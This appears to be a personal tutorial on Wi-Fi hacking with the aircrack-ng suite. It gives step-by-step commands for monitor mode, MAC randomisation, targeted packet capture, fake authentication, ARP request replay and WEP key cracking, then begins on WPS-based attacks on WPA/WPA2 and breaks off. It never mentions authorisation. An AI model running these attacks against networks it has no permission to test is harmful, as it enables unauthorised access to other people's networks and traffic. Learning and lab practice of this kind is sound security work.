wireless
- 1. Monitor Mode & Randomized MAC
- 2. Pre Connection Attacks
- 3. WiFi Bands and Frequencies
- 4. Targeted Packet Sniffing
- 5. Gaining Access - WEP Cracking
- 6. Fake Authentication Attack
- 7. WEP Cracking
- 8. WPA and WPA2 Cracking
- 9. Practice
1. Monitor Mode & Randomized MAC
Check Network Adapters
iwconfig
Cofigure Monitor Mode
Standard Mode should be Mode:Managed and Power Management: off
Powerdown wifi card
ifconfig wlan0 down
Kill all programs using the wireless card:
airmon-ng check kill
change mode to Monitor
iwconfig wlan0 mode monitor
Randomize MAC Address
macchanger --random wlan0
bring device back up
Bring Device back up
ifconfig wlan0 up
Discover Nearby Networks
airodump-ng wlan0
2. Pre Connection Attacks
I am assuming you already did this:
>>you need to prepare your network card like here<<
Scan Networks
airodump-ng wlan0
You should see something like this:
let's break this down:
BSSID
Is the MAC Address of the Network
PWR
Is the signal strenght or power. The higher the number, the better signal we have
Beacons
Are the frames send from the Network to broadcast it's existance. Every Network, even if it's hidden, sends this frames to tell the wireless devices that it exists and it's MAC Address, it's channel, it's encryption and it's name
Data
This are the data packages or data frames. They are the packages which get interesting when it comes to wireless hacking
#/s
Are the packages which were collected the last 10 seconds
CH
Is the wireless Channel of the Network
MB
Is the Maxinum Speed supported
ENC
Is the Encryption used
CIPHER
Cipher used in the Network
Auth
is the authentications used in this network. For example PSK (Pre shared key) or MGT
ESSID
Is the Network Name
Don't worry just jet about ENC, CIPHER and Auth just yet, it will be a part in the gaining Access part of this Wiki
3. WiFi Bands and Frequencies
Now I'd like to talk about WiFi Bands. The Band defines what frequencies it uses to broadcast the signal. That means it also defines the Frequency the Client must have to be able to support and use in order to connect to the network.
The most common frequencies in use are 2.4 and 5 Ghz
The most common WiFi Bands are:
- a uses 5Ghz frequency only
- b,g both use 2.4Ghz frequency only
- n uses 5 and 2.4 Ghz frequency
- ac uses frequencies lower than 6 Ghz
if the Network Name isn't shown, it probably means that your Adapter isn't able to connect to the Network or a router is broadcasting across 2 frequencies or is out of reach.
You can specify which Band airodump-ng listens with the --band flag. For example if you want to specify 5Ghz:
airodump-ng --band a wlan0
if your Wifi Adapter supports all bands, you could scan for multible bands like this:
airodump-ng --band abg wlan0
4. Targeted Packet Sniffing
After scanning via airodump-ng you get like previous stated a similar output like this:
Pic a target network like shown in the ESSID
airodump-ng --bssid 11:22:33:44:55:55 --channel 5 --write ~/test-01 wlan0
You will see someting like this:
Now you'll get several cap files. The interesting one for now is .cap, which can be directly be opened in Wireshark
Wireshark:
This Packages are all encrypted. If the Wireless Network wouldn't use any encryption, we could see directly see all the URLs and probably passwords. However the example is encrypted and they also will be the foundation of up coming attacks
5. Gaining Access - WEP Cracking
Basics
- WEP means: Wired Equvalent Privacy
- It's an old encryption
- Uses an algorythm called RC4
- Still used in some networks
- Can be cracked easily
How Encryption works
- Each Package is encrypted via a unique Keystream
- Random Initialization Vector (IV) is used to generate the Keystreams
- The IV is only 24 bits
- IV + (password) Key = keystream
WEP Cracking
- IV is too small (24bits)
- IV is sent in plain text
Weakness
- IV's will repeat on busy networks
- This will make WEP vulnerable to statistical attacks
- Repeated IV's can be used to determine the Keystream
- And break the encryption
We can use the tool aircrack-ng to determine the keystream
To crack WEP we need to
I am assuming, you already have done Part 1 and 2 of this tutorial
1. Capture a large amount of Packages/IVs (airodump-ng)
airodump-ng --bssid 11:22:33:44:55:66 --channel 12 --write ~/wep-cap wlan0
2. Analyse the captured IVs and crack the key (aircrack-ng)
aircrack-ng wep-cap.cap
It should look something like this:
If the ASCII Code isn't displayed, which will be sometimes the cast, just use the key between the brackets, while removing the colons like this: 41:73:32:33:70 -> 4173323370
Which means, the target router will accept both: As23p or 4173323370 as password
WEP Cracking
Problem:
- If network is not busy
- It would take some time to capture enough IVs
Solution:
- Force the AP to generate new IVs
Fake Authentication
Problem:
APs communicate with connected clients
- We can't communicate with it
- we can't even start the attack
Solution:
- Associate (don't confuse with connecting to AP) with the AP before launching the attack
1) Use airodump-ng
airodump-ng --bssid 11:22:33:44:55:66 --channel 11 --write arpreplay wlan0
2) Assosiate with AP
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
The MAC Adress 48:5D:60:2A:45:25 is an example for your wireless adapter's MAC Adress. You can get the MAC by typing:
ifconfig
Just use the first 12 chars and replace the minus with colums
After Running aireplay-ng the Option AUTH should be OPN and a new Station should appear. The Station should be your Adapters MAC Address
This means, you are associated but not connected to the network. Which means you can now communicate with the AP. If you send anything to this network it will now accept it, even when not connected to the Network.
ARP Request Replay Attack
Problem
- If Network is not busy
- it would take some time to capture enough IVs
Solution
- Force the AP (AccessPoint) to generate new IVs
This is the most reliable and easy method
- Wait for an ARP packet
- Capture it and repay it (retransmit it)
- This causes the AP to produce abother packet with a new IV
- Keep doing this till we have enough IVs to crack the key
1) Use airodump-ng
airodump-ng --bssid 11:22:33:44:55:66 --channel 11 --write arpreplay wlan0
2) Associate with the AP
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
3) ARP Request Replay Attack
aireplay-ng -- arpreplay -b 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
Now it will flood the Access Point with packages to generate IV's
4) Now associate another time with the AccessPoint
aireplay-ng --fakeauth 0 -a 11:22:33:44:55:66 -h 48:5D:60:2A:45:25 wlan0
5) And run aircrack-ng
aircrack-ng arpreplay-01.cap
For easier layout, use Terminator as terminal, so you can split the terminal and have various commandlines open or use a terminal Multiplexer like tmux. I'd recommand to run 1) 3) and 5) at the same time.
6. Fake Authentication Attack
Why do we the fake Auth?
- APs can only communicate with connected Clients
- If we aren't connected, we even cant start the attack
- therefore we need the Fake Auth Attack
Scan networks
airodump-ng wlan0
Get desired BSSID
from Network you want to attack
Collect data packages
airodump-ng --bssid 00:00:00:00:00:00 --channel 13 --write arpreplay wlan0
Associate with the desired Network
aireplay-ng --fakeauth 0 -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
(the Zeros stand for network MAC Address and the ones for your Adapters MAC Address
After running this command, you should get something like OPN under the category AUTH:
7. WEP Cracking
If the Network isn't busy we need to force the AccessPoint to generate new packages. We are doing that via ARP Request Replay. We wait for an ARP packet, capture it and replay it. This causes the AP to produce another packet with a new IV. We are doing this until we have enough IVs to crack the Key
aireplay-ng --arpreplay -b 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
Associate once more
aireplay-ng --fakeauth 0 -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0
crack the Password
aircrack-ng arpreplay-01.cap
8. WPA and WPA2 Cracking
Both, WPA and WPA2 can be cracked using the same methods. They are made ti adress the issues in WEP and made much more secure. Each packet is encrypted using a unique tempoary key.
- Packets contain no useful information
WPA and WPA2 Cracking
- both can be cracked using the same methods
- they are made to close he security holes of WEP
- and are way more secure
- each packet is encrypted using a unique tempoary key
Packets contain no useful information
ARP Request Replay
- WPS is a feature that can be used with WPA and WPA2.
- Allows clients to connect without the password
- Authentication is done using a 8 digit pin
- 8 Digits are very small
- We can try all possible pins in relatively short time
- Then the WPS pin can be used to compute the actual password.
PS: This only works if the router is configured not to use PBC (Push Button Authentication)
Check if Nework has WPS active
wash --interface wlan0
The Output should look like this:
Here you can see WPS is labled as 1.0. This doesn't tell you if it uses Pushbutton Authentication, you just have to try.
lets associate with the network
9. Practice
I am assuming you already have Monitor Mode active
We want to check all the networks which have WPS Activated:
wash --interface wlan0